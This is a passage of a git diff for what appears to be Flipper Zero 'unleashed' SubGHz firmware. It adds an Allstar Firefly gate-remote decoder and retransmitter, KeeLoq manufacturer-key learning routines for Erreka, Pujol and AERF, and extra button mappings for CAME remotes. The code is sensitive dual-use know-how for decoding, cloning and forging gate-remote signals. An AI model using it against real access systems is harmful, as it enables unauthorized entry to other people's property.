+    SubGhzProtocolDecoderAllstarFirefly* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_allstar_firefly_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderAllstarFirefly* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_allstar_firefly_deserialize(
+    void* context,
+    FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderAllstarFirefly* instance = context;
+    return subghz_block_generic_deserialize_check_count_bit(
+        &instance->generic,
+        flipper_format,
+        subghz_protocol_allstar_firefly_const.min_count_bit_for_found);
+}
+
+void subghz_protocol_decoder_allstar_firefly_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderAllstarFirefly* instance = context;
+
+    uint64_t code_found_reverse = subghz_protocol_blocks_reverse_key(
+        instance->generic.data, instance->generic.data_count_bit);
+
+    furi_string_cat_printf(
+        output,
+        "%s %db\r\n"
+        "Key:0x%05lX Yek:0x%05lX\r\n"
+        "  +:   " DIP_PATTERN "\r\n"
+        "  o:   " DIP_PATTERN "\r\n"
+        "  -:   " DIP_PATTERN "\r\n",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        (uint32_t)(instance->generic.data & 0xFFFFF),
+        (uint32_t)(code_found_reverse & 0xFFFFF),
+        SHOW_DIP_P(instance->generic.data, DIP_P),
+        SHOW_DIP_P(instance->generic.data, DIP_O),
+        SHOW_DIP_P(instance->generic.data, DIP_N));
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/allstar_firefly.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/allstar_firefly.h
new file mode 100644
index 000000000..96fc718d8
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/allstar_firefly.h
@@ -0,0 +1,143 @@
+#pragma once
+
+/**
+ * allstar_firefly.h  -  Allstar Firefly 318ALD31K native SubGHz protocol
+ *
+ * Registers the Allstar Firefly gate remote as a first-class SubGHz protocol,
+ * supporting decode from air, save/load of .sub files, and retransmit.
+ *
+ * Protocol summary (measured from captured remotes):
+ *   Carrier   : 318 MHz OOK  (FuriHalSubGhzPresetOok650Async)
+ *   Code type : Static 9-bit trinary  (Supertex ED-9 encoder IC)
+ *   Frame     : 18 symbols (2 per bit), no separate sync pulse
+ *   Repeats   : 20 frames per keypress
+ *   Inter-frame gap: ~30 440 us
+ *
+ *   Symbol encoding - each bit = two (pulse, gap) pairs:
+ *     '+'  ON    : H H  = [4045us HIGH, 607us LOW] x2
+ *     '-'  OFF   : L L  = [530us HIGH, 4139us LOW] x2
+ *     '0'  FLOAT : H L  = [4045us HIGH, 607us LOW, 530us HIGH, 4139us LOW]
+ *
+ * Save file format:
+ *   Filetype: Flipper SubGhz Key File
+ *   Version: 1
+ *   Frequency: 318000000
+ *   Preset: FuriHalSubGhzPresetOok650Async
+ *   Protocol: Allstar Firefly
+ *   Key: +--000++-
+ *
+ * To register with the SubGHz app, in protocol_list.c add:
+ *   #include "allstar_firefly.h"
+ *   &subghz_protocol_allstar_firefly,   (in the protocol array)
+ */
+
+#include "base.h"
+
+/* Protocol name (must match what is written to .sub files) */
+#define SUBGHZ_PROTOCOL_ALLSTAR_FIREFLY_NAME "Allstar Firefly"
+
+typedef struct SubGhzProtocolDecoderAllstarFirefly SubGhzProtocolDecoderAllstarFirefly;
+typedef struct SubGhzProtocolEncoderAllstarFirefly SubGhzProtocolEncoderAllstarFirefly;
+
+extern const SubGhzProtocolDecoder subghz_protocol_allstar_firefly_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_allstar_firefly_encoder;
+extern const SubGhzProtocol subghz_protocol_allstar_firefly;
+
+/**
+ * Allocate SubGhzProtocolEncoderAllstarFirefly.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderAllstarFirefly* pointer to a SubGhzProtocolEncoderAllstarFirefly instance
+ */
+void* subghz_protocol_encoder_allstar_firefly_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderAllstarFirefly.
+ * @param context Pointer to a SubGhzProtocolEncoderAllstarFirefly instance
+ */
+void subghz_protocol_encoder_allstar_firefly_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderAllstarFirefly instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_encoder_allstar_firefly_deserialize(
+    void* context,
+    FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderAllstarFirefly instance
+ */
+void subghz_protocol_encoder_allstar_firefly_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderAllstarFirefly instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_allstar_firefly_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderAllstarFirefly.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderAllstarFirefly* pointer to a SubGhzProtocolDecoderAllstarFirefly instance
+ */
+void* subghz_protocol_decoder_allstar_firefly_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderAllstarFirefly.
+ * @param context Pointer to a SubGhzProtocolDecoderAllstarFirefly instance
+ */
+void subghz_protocol_decoder_allstar_firefly_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderAllstarFirefly.
+ * @param context Pointer to a SubGhzProtocolDecoderAllstarFirefly instance
+ */
+void subghz_protocol_decoder_allstar_firefly_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderAllstarFirefly instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_allstar_firefly_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderAllstarFirefly instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_allstar_firefly_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderAllstarFirefly.
+ * @param context Pointer to a SubGhzProtocolDecoderAllstarFirefly instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_allstar_firefly_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderAllstarFirefly.
+ * @param context Pointer to a SubGhzProtocolDecoderAllstarFirefly instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_allstar_firefly_deserialize(
+    void* context,
+    FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderAllstarFirefly instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_allstar_firefly_get_string(void* context, FuriString* output);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/came_atomo.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/came_atomo.c
index bd21dafd1..ddab59ff3 100644
--- a/lib/subghz_unleashed_vendor/src/subghz/protocols/came_atomo.c
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/came_atomo.c
@@ -258,6 +258,10 @@ static void subghz_protocol_encoder_came_atomo_get_upload(
         btn = 0x4;
     } else if(btn == 0x4) {
         btn = 0x6;
+    } else if(btn == 0x5) {
+        btn = 0x0C;
+    } else if(btn == 0x6) {
+        btn = 0x0E;
     }
 
     // override button if we change it with signal settings button editor
@@ -482,9 +486,11 @@ void subghz_protocol_decoder_came_atomo_feed(void* context, bool level, uint32_t
     ManchesterEvent event = ManchesterEventReset;
     switch(instance->decoder.parser_step) {
     case CameAtomoDecoderStepReset:
-        // There are two known options for the header: 72K us (TOP42R, TOP44R) or 12k us (found on TOP44RBN)
+        // There are two known options for the header: 72K us (TOP42R, TOP44R) or 12k us (found on TOP44RBN) / 19k us (TOPD4REN)
         if((!level) && ((DURATION_DIFF(duration, subghz_protocol_came_atomo_const.te_long * 10) <
                          subghz_protocol_came_atomo_const.te_delta * 20) ||
+                        (DURATION_DIFF(duration, subghz_protocol_came_atomo_const.te_long * 16) <
+                         subghz_protocol_came_atomo_const.te_delta * 10) ||
                         (DURATION_DIFF(duration, subghz_protocol_came_atomo_const.te_long * 60) <
                          subghz_protocol_came_atomo_const.te_delta * 40))) {
             //Found header CAME
@@ -661,6 +667,10 @@ static void subghz_protocol_came_atomo_remote_controller(SubGhzBlockGeneric* ins
         instance->btn = 0x3;
     } else if(btn_decode == 0x6) {
         instance->btn = 0x4;
+    } else if(btn_decode == 0x0C) {
+        instance->btn = 0x5;
+    } else if(btn_decode == 0x0E) {
+        instance->btn = 0x6;
     }
 
     uint32_t hi = pack[0] << 24 | pack[1] << 16 | pack[2] << 8 | pack[3];
@@ -671,7 +681,7 @@ static void subghz_protocol_came_atomo_remote_controller(SubGhzBlockGeneric* ins
     if(subghz_custom_btn_get_original() == 0) {
         subghz_custom_btn_set_original(instance->btn);
     }
-    subghz_custom_btn_set_max(3);
+    subghz_custom_btn_set_max(4);
 }
 
 void atomo_encrypt(uint8_t* buff) {
@@ -738,6 +748,12 @@ static uint8_t subghz_protocol_came_atomo_get_btn_code(void) {
         case 0x4:
             btn = 0x1;
             break;
+        case 0x5:
+            btn = 0x1;
+            break;
+        case 0x6:
+            btn = 0x1;
+            break;
 
         default:
             break;
@@ -756,6 +772,12 @@ static uint8_t subghz_protocol_came_atomo_get_btn_code(void) {
         case 0x4:
             btn = 0x2;
             break;
+        case 0x5:
+            btn = 0x2;
+            break;
+        case 0x6:
+            btn = 0x2;
+            break;
 
         default:
             break;
@@ -774,6 +796,36 @@ static uint8_t subghz_protocol_came_atomo_get_btn_code(void) {
         case 0x4:
             btn = 0x3;
             break;
+        case 0x5:
+            btn = 0x4;
+            break;
+        case 0x6:
+            btn = 0x4;
+            break;
+
+        default:
+            break;
+        }
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_RIGHT) {
+        switch(original_btn_code) {
+        case 0x1:
+            btn = 0x5;
+            break;
+        case 0x2:
+            btn = 0x5;
+            break;
+        case 0x3:
+            btn = 0x5;
+            break;
+        case 0x4:
+            btn = 0x5;
+            break;
+        case 0x5:
+            btn = 0x6;
+            break;
+        case 0x6:
+            btn = 0x5;
+            break;
 
         default:
             break;
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/came_twee.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/came_twee.c
index d6b656a57..b23db0cc9 100644
--- a/lib/subghz_unleashed_vendor/src/subghz/protocols/came_twee.c
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/came_twee.c
@@ -109,7 +109,7 @@ void* subghz_protocol_encoder_came_twee_alloc(SubGhzEnvironment* environment) {
     instance->base.protocol = &subghz_protocol_came_twee;
     instance->generic.protocol_name = instance->base.protocol->name;
 
-    instance->encoder.repeat = 3;
+    instance->encoder.repeat = 1;
     instance->encoder.size_upload = 1536; // 1308
     instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
     instance->encoder.is_running = false;
@@ -322,9 +322,13 @@ void subghz_protocol_decoder_came_twee_feed(void* context, bool level, uint32_t
     ManchesterEvent event = ManchesterEventReset;
     switch(instance->decoder.parser_step) {
     case CameTweeDecoderStepReset:
-        if((!level) && (DURATION_DIFF(duration, subghz_protocol_came_twee_const.te_long * 51) <
-                        subghz_protocol_came_twee_const.te_delta * 20)) {
-            //Found header CAME
+        if((!level) && ((DURATION_DIFF(duration, subghz_protocol_came_twee_const.te_long * 51) <
+                         subghz_protocol_came_twee_const.te_delta * 20) ||
+                        (DURATION_DIFF(duration, subghz_protocol_came_twee_const.te_long * 12) <
+                         subghz_protocol_came_twee_const.te_delta * 10))) {
+            // Found header CAME
+            // Original TWEE uses 51k us delay
+            // TOP44FGN uses 12k us delay
             instance->decoder.parser_step = CameTweeDecoderStepDecoderData;
             instance->decoder.decode_data = 0;
             instance->decoder.decode_count_bit = 0;
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/faac_slh.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/faac_slh.c
index fb82b1379..3e853ec02 100644
--- a/lib/subghz_unleashed_vendor/src/subghz/protocols/faac_slh.c
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/faac_slh.c
@@ -123,6 +123,41 @@ void subghz_protocol_encoder_faac_slh_free(void* context) {
     free(instance);
 }
 
+static bool subghz_protocol_faac_slh_encrypt(SubGhzProtocolEncoderFaacSLH* instance) {
+    uint32_t fix = instance->generic.serial << 4 | instance->generic.btn;
+    uint32_t hop = 0;
+    uint32_t decrypt = 0;
+    uint64_t man = 0;
+    char fixx[8] = {};
+    int shiftby = 32;
+
+    for(int i = 0; i < 8; i++) {
+        fixx[i] = (fix >> (shiftby -= 4)) & 0xF;
+    }
+
+    if((instance->generic.cnt % 2) == 0) {
+        decrypt = fixx[6] << 28 | fixx[7] << 24 | fixx[5] << 20 |
+                  (instance->generic.cnt & 0xFFFFF);
+    } else {
+        decrypt = fixx[2] << 28 | fixx[3] << 24 | fixx[4] << 20 |
+                  (instance->generic.cnt & 0xFFFFF);
+    }
+    for
+        M_EACH(manufacture_code, *subghz_keystore_get_data(instance->keystore), SubGhzKeyArray_t) {
+            if(strcmp(furi_string_get_cstr(manufacture_code->name), "FAAC_SLH") == 0) {
+                //FAAC Learning
+                man = subghz_protocol_keeloq_common_faac_learning(
+                    instance->generic.seed, manufacture_code->key);
+                hop = subghz_protocol_keeloq_common_encrypt(decrypt, man);
+                break;
+            }
+        }
+    if(hop) {
+        instance->generic.data = (uint64_t)fix << 32 | hop;
+    }
+    return true;
+}
+
 static bool subghz_protocol_faac_slh_gen_data(SubGhzProtocolEncoderFaacSLH* instance) {
     // override button if we change it with signal settings button editor
     // else work as standart
@@ -235,16 +270,6 @@ static bool subghz_protocol_faac_slh_gen_data(SubGhzProtocolEncoderFaacSLH* inst
             }
         }
     }
-    uint32_t fix = instance->generic.serial << 4 | instance->generic.btn;
-    uint32_t hop = 0;
-    uint32_t decrypt = 0;
-    uint64_t man = 0;
-    int res = 0;
-    char fixx[8] = {};
-    int shiftby = 32;
-    for(int i = 0; i < 8; i++) {
-        fixx[i] = (fix >> (shiftby -= 4)) & 0xF;
-    }
 
     if(allow_zero_seed || (instance->generic.seed != 0x0)) {
         // check OFEX mode
@@ -275,32 +300,7 @@ static bool subghz_protocol_faac_slh_gen_data(SubGhzProtocolEncoderFaacSLH* inst
         }
     }
 
-    if((instance->generic.cnt % 2) == 0) {
-        decrypt = fixx[6] << 28 | fixx[7] << 24 | fixx[5] << 20 |
-                  (instance->generic.cnt & 0xFFFFF);
-    } else {
-        decrypt = fixx[2] << 28 | fixx[3] << 24 | fixx[4] << 20 |
-                  (instance->generic.cnt & 0xFFFFF);
-    }
-    for
-        M_EACH(manufacture_code, *subghz_keystore_get_data(instance->keystore), SubGhzKeyArray_t) {
-            res = strcmp(furi_string_get_cstr(manufacture_code->name), instance->manufacture_name);
-            if(res == 0) {
-                switch(manufacture_code->type) {
-                case KEELOQ_LEARNING_FAAC:
-                    //FAAC Learning
-                    man = subghz_protocol_keeloq_common_faac_learning(
-                        instance->generic.seed, manufacture_code->key);
-                    hop = subghz_protocol_keeloq_common_encrypt(decrypt, man);
-                    break;
-                }
-                break;
-            }
-        }
-    if(hop) {
-        instance->generic.data = (uint64_t)fix << 32 | hop;
-    }
-    return true;
+    return subghz_protocol_faac_slh_encrypt(instance);
 }
 
 bool subghz_protocol_faac_slh_create_data(
@@ -322,7 +322,7 @@ bool subghz_protocol_faac_slh_create_data(
     instance->manufacture_name = manufacture_name;
     instance->generic.data_count_bit = 64;
     allow_zero_seed = true;
-    bool res = subghz_protocol_faac_slh_gen_data(instance);
+    bool res = subghz_protocol_faac_slh_encrypt(instance);
     if(res) {
         return SubGhzProtocolStatusOk ==
                subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
@@ -618,8 +618,7 @@ static void subghz_protocol_faac_slh_check_remote_controller(
 
     for
         M_EACH(manufacture_code, *subghz_keystore_get_data(keystore), SubGhzKeyArray_t) {
-            switch(manufacture_code->type) {
-            case KEELOQ_LEARNING_FAAC:
+            if(strcmp(furi_string_get_cstr(manufacture_code->name), "FAAC_SLH") == 0) {
                 // FAAC Learning
                 man = subghz_protocol_keeloq_common_faac_learning(
                     instance->seed, manufacture_code->key);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/keeloq.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/keeloq.c
index 2bf173994..ac04610f9 100644
--- a/lib/subghz_unleashed_vendor/src/subghz/protocols/keeloq.c
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/keeloq.c
@@ -367,7 +367,7 @@ static bool subghz_protocol_keeloq_gen_data(
             } else if(
                 (strcmp(instance->manufacture_name, "DTM_Neo") == 0) ||
                 (strcmp(instance->manufacture_name, "FAAC_RC,XT") == 0) ||
-                (strcmp(instance->manufacture_name, "Mutanco_Mutancode") == 0) ||
+                (strcmp(instance->manufacture_name, "Clemsa_Mutancode") == 0) ||
                 (strcmp(instance->manufacture_name, "Came_Space") == 0) ||
                 (strcmp(instance->manufacture_name, "Genius_Bravo") == 0) ||
                 (strcmp(instance->manufacture_name, "GSN") == 0) ||
@@ -376,20 +376,33 @@ static bool subghz_protocol_keeloq_gen_data(
                 (strcmp(instance->manufacture_name, "Pecinin") == 0) ||
                 (strcmp(instance->manufacture_name, "Steelmate") == 0) ||
                 (strcmp(instance->manufacture_name, "Cardin_S449") == 0) ||
-                (strcmp(instance->manufacture_name, "Stilmatic") == 0)) {
+                (strcmp(instance->manufacture_name, "Stilmatic") == 0) ||
+                (strcmp(instance->manufacture_name, "Wisniowski") == 0) ||
+                (strcmp(instance->manufacture_name, "ATA_PTX4") == 0) ||
+                (strcmp(instance->manufacture_name, "Fadini") == 0) ||
+                (strcmp(instance->manufacture_name, "Seav") == 0)) {
                 // DTM Neo, Came_Space uses 12bit serial -> simple learning
-                // FAAC_RC,XT , Mutanco_Mutancode, Genius_Bravo, GSN 12bit serial -> normal learning
+                // FAAC_RC,XT , Clemsa_Mutancode, Genius_Bravo, GSN 12bit serial -> normal learning
                 // Rosh, Rossi, Pecinin -> 12bit serial - simple learning
                 // Steelmate -> 12bit serial - normal learning
                 // Cardin_S449 -> 12bit serial - normal learning
                 // Stilmatic (r-tech) -> 12bit serial - normal learning
+                // Wisniowski -> 12bit serial - normal learning
+                // ATA_PTX4 -> 12bit serial - normal learning
+                // Fadini -> 12bit serial - simple learning
+                // Seav -> 12bit serial - normal learning
                 decrypt = btn << 28 | (instance->generic.serial & 0xFFF) << 16 |
                           instance->generic.cnt;
             } else if(
                 (strcmp(instance->manufacture_name, "NICE_Smilo") == 0) ||
                 (strcmp(instance->manufacture_name, "NICE_MHOUSE") == 0) ||
-                (strcmp(instance->manufacture_name, "JCM_Tech") == 0)) {
-                // Nice Smilo, MHouse, JCM -> 8bit serial - simple learning
+                (strcmp(instance->manufacture_name, "JCM_Tech") == 0) ||
+                (strcmp(instance->manufacture_name, "Pujol_Vario") == 0) ||
+                (strcmp(instance->manufacture_name, "Pujol") == 0) ||
+                (strcmp(instance->manufacture_name, "Erreka") == 0)) {
+                // Nice Smilo, MHouse, JCM, Pujol_Vario -> 8bit serial - simple learning
+                // Pujol -> 8bit serial - special learning
+                // Erreka -> 8bit serial - secure learning with seed
                 decrypt = btn << 28 | (instance->generic.serial & 0xFF) << 16 |
                           instance->generic.cnt;
             } else if(
@@ -453,6 +466,28 @@ static bool subghz_protocol_keeloq_gen_data(
                                 fix, manufacture_code->key);
                             hop = subghz_protocol_keeloq_common_encrypt(decrypt, man);
                             break;
+                        case KEELOQ_LEARNING_AERF:
+                            man = subghz_protocol_keeloq_common_learning_aerf(
+                                fix, manufacture_code->key);
+                            hop = subghz_protocol_keeloq_common_encrypt(decrypt, man);
+                            break;
+                        case KEELOQ_LEARNING_ERREKA:
+                            man = subghz_protocol_keeloq_common_learning_erreka(
+                                fix, instance->generic.seed, manufacture_code->key);
+                            hop = subghz_protocol_keeloq_common_encrypt(decrypt, man);
+                            break;
+                        case KEELOQ_LEARNING_PUJOL:
+                            man = subghz_protocol_keeloq_common_learning_pujol(
+                                fix, manufacture_code->key);
+                            hop = subghz_protocol_keeloq_common_encrypt(decrypt, man);
+                            break;
+                        case KEELOQ_LEARNING_SIMPLE_JCM:
+                            //Simple Learning 8 bit serial
+                            decrypt = btn << 28 | (instance->generic.serial & 0xFF) << 16 |
+                                      instance->generic.cnt;
+                            hop = subghz_protocol_keeloq_common_encrypt(
+                                decrypt, manufacture_code->key);
+                            break;
                         case KEELOQ_LEARNING_UNKNOWN:
                             if(kl_type_en == 1) {
                                 hop = subghz_protocol_keeloq_common_encrypt(
@@ -511,7 +546,7 @@ bool subghz_protocol_keeloq_create_data(
     return false;
 }
 
-bool subghz_protocol_keeloq_bft_create_data(
+bool subghz_protocol_keeloq_seed_create_data(
     void* context,
     FlipperFormat* flipper_format,
     uint32_t serial,
@@ -1101,6 +1136,55 @@ static uint32_t subghz_protocol_keeloq_check_remote_controller_selector(
                         return decrypt;
                     }
                     break;
+                case KEELOQ_LEARNING_AERF:
+                    man = subghz_protocol_keeloq_common_learning_aerf(fix, manufacture_code->key);
+                    decrypt = subghz_protocol_keeloq_common_decrypt_derived(hop, man, 0x240u);
+                    if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) {
+                        *manufacture_name = furi_string_get_cstr(manufacture_code->name);
+                        keystore->mfname = *manufacture_name;
+                        return decrypt;
+                    }
+                    decrypt = subghz_protocol_keeloq_common_decrypt_derived(hop, man, 0x210u);
+                    if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) {
+                        *manufacture_name = furi_string_get_cstr(manufacture_code->name);
+                        keystore->mfname = *manufacture_name;
+                        return decrypt;
+                    }
+                    decrypt = subghz_protocol_keeloq_common_decrypt(hop, man);
+                    if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) {
+                        *manufacture_name = furi_string_get_cstr(manufacture_code->name);
+                        keystore->mfname = *manufacture_name;
+                        return decrypt;
+                    }
+                    break;
+                case KEELOQ_LEARNING_ERREKA:
+                    man = subghz_protocol_keeloq_common_learning_erreka(
+                        fix, instance->seed, manufacture_code->key);
+                    decrypt = subghz_protocol_keeloq_common_decrypt(hop, man);
+                    if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) {
+                        *manufacture_name = furi_string_get_cstr(manufacture_code->name);
+                        keystore->mfname = *manufacture_name;
+                        return decrypt;
+                    }
+                    break;
+                case KEELOQ_LEARNING_PUJOL:
+                    man = subghz_protocol_keeloq_common_learning_pujol(fix, manufacture_code->key);
+                    decrypt = subghz_protocol_keeloq_common_decrypt(hop, man);
+                    if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) {
+                        *manufacture_name = furi_string_get_cstr(manufacture_code->name);
+                        keystore->mfname = *manufacture_name;
+                        return decrypt;
+                    }
+                    break;
+                case KEELOQ_LEARNING_SIMPLE_JCM:
+                    // Simple Learning 8 bit serial
+                    decrypt = subghz_protocol_keeloq_common_decrypt(hop, manufacture_code->key);
+                    if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) {
+                        *manufacture_name = furi_string_get_cstr(manufacture_code->name);
+                        keystore->mfname = *manufacture_name;
+                        return decrypt;
+                    }
+                    break;
                 case KEELOQ_LEARNING_UNKNOWN:
                     // Simple Learning
                     decrypt = subghz_protocol_keeloq_common_decrypt(hop, manufacture_code->key);
@@ -1625,7 +1709,9 @@ void subghz_protocol_decoder_keeloq_get_string(void* context, FuriString* output
             code_found_reverse_lo,
             instance->generic.btn,
             instance->manufacture_name);
-    } else if(strcmp(instance->manufacture_name, "BFT") == 0) {
+    } else if(
+        (strcmp(instance->manufacture_name, "BFT") == 0) ||
+        (strcmp(instance->manufacture_name, "Erreka") == 0)) {
         // Allow counter edit
         subghz_block_generic_global.cnt_is_available = true;
         subghz_block_generic_global.cnt_length_bit = 16;
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/keeloq_common.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/keeloq_common.c
index a9a2238dd..2486ec45f 100644
--- a/lib/subghz_unleashed_vendor/src/subghz/protocols/keeloq_common.c
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/keeloq_common.c
@@ -140,3 +140,97 @@ inline uint64_t
     subghz_protocol_keeloq_common_magic_serial_type3_learning(uint32_t data, uint64_t man) {
     return (man & 0xFFFFFFFFFF000000) | (data & 0xFFFFFF);
 }
+
+// Key utils
+
+static inline uint32_t subghz_protocol_keeloq_common_manufacturer_nl_extend(
+    uint32_t x,
+    uint32_t k_lo,
+    uint32_t k_hi,
+    uint32_t outer_limit) {
+    uint32_t r4 = outer_limit;
+    uint32_t r5 = 0u;
+    const uint32_t r6 = KEELOQ_NLF;
+
+    while(r5 != r4) {
+        if(r5 < 0x210u) {
+            uint32_t r1 = (x >> 15) & 1u;
+            uint32_t r7 = r1 ^ ((x >> 1) | (x << 31));
+            r1 = (15u - r5) & 0x3Fu;
+            uint32_t lr = 32u - r1;
+            uint32_t ip = r1 - 32u;
+            lr = k_hi << lr;
+            r1 = k_lo >> r1;
+            ip = (r1 < 32u) ? (k_hi >> ip) : 0u;
+            r1 = (r1 | lr | ip) & 1u;
+            ip = (x >> 30) & 1u;
+            r1 ^= r7;
+            r7 = (x >> 25) & 1u;
+            r7 += ip << 1;
+            ip = (x >> 19) & 1u;
+            ip += r7 << 1;
+            r7 = (x >> 8) & 1u;
+            r7 += ip << 1;
+            x &= 1u;
+            x += r7 << 1;
+            x = (int32_t)r6 >> (x & 31u);
+            x &= 1u;
+            x ^= r1;
+        }
+        r5 += 1u;
+    }
+    return x;
+}
+
+static inline uint32_t subghz_protocol_keeloq_common_word_rotate16(uint32_t v) {
+    return (v >> 16) | (v << 16);
+}
+
+inline uint32_t subghz_protocol_keeloq_common_decrypt_derived(
+    uint32_t hop_encrypted,
+    uint64_t derived_manufacturing_key,
+    uint32_t outer_limit) {
+    return subghz_protocol_keeloq_common_manufacturer_nl_extend(
+        hop_encrypted,
+        (uint32_t)derived_manufacturing_key,
+        (uint32_t)(derived_manufacturing_key >> 32u),
+        outer_limit);
+}
+
+// Protocol (Manufacturer) specific learning
+// TODO: Better documentation for these functions
+
+inline uint64_t subghz_protocol_keeloq_common_learning_aerf(uint32_t data, const uint64_t key) {
+    uint32_t k_lo = (uint32_t)key;
+    uint32_t k_hi = (uint32_t)(key >> 32);
+    uint32_t d = data & 0x0FFFFFFFu;
+    uint32_t x = d | 0x20000000u;
+    x = subghz_protocol_keeloq_common_manufacturer_nl_extend(x, k_lo, k_hi, 0x40u);
+    uint32_t k1 = x;
+    x = d | 0x60000000u;
+    x = subghz_protocol_keeloq_common_manufacturer_nl_extend(x, k_lo, k_hi, 0x40u);
+    return ((uint64_t)x << 32) | k1;
+}
+
+inline uint64_t
+    subghz_protocol_keeloq_common_learning_erreka(uint32_t data, uint32_t mix, const uint64_t key) {
+    uint32_t d = data & 0x0FFFFFFFu;
+    uint32_t k1 = subghz_protocol_keeloq_common_decrypt(d | 0x20000000u, key);
+    uint32_t r4 = mix >> 4;
+    uint32_t r1 = (mix << 4) & 0xF000F000u;
+    r4 = (r4 & 0x0F000F00u) | r1;
+    uint32_t r5 = mix & 0x00FF00FFu;
+    uint32_t x = r4 | r5;
+    x |= 0x60000000u;
+    uint32_t k2 = subghz_protocol_keeloq_common_decrypt(x, key);
+    return ((uint64_t)k2 << 32) | k1;
+}
+
+inline uint64_t subghz_protocol_keeloq_common_learning_pujol(uint32_t data, const uint64_t key) {
+    uint32_t d = data & 0x0FFFFFFFu;
+    uint32_t w1 = subghz_protocol_keeloq_common_decrypt(d | 0x20000000u, key);
+    uint32_t w2 = subghz_protocol_keeloq_common_decrypt(d | 0x60000000u, key);
+    uint32_t k1 = subghz_protocol_keeloq_common_word_rotate16(w1);
+    uint32_t k2 = subghz_protocol_keeloq_common_word_rotate16(w2);
+    return ((uint64_t)k2 << 32) | k1;
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/keeloq_common.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/keeloq_common.h
index 1250cd2fc..93904f194 100644
--- a/lib/subghz_unleashed_vendor/src/subghz/protocols/keeloq_common.h
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/keeloq_common.h
@@ -28,6 +28,10 @@
 // #define BENINCA_ARC_KEY_TYPE 9u -- RESERVED
 #define KEELOQ_LEARNING_SIMPLE_KINGGATES    10u
 #define KEELOQ_LEARNING_NORMAL_JAROLIFT     11u
+#define KEELOQ_LEARNING_ERREKA              12u
+#define KEELOQ_LEARNING_PUJOL               13u
+#define KEELOQ_LEARNING_AERF                14u
+#define KEELOQ_LEARNING_SIMPLE_JCM          15u
 
 /**
  * Simple Learning Encrypt
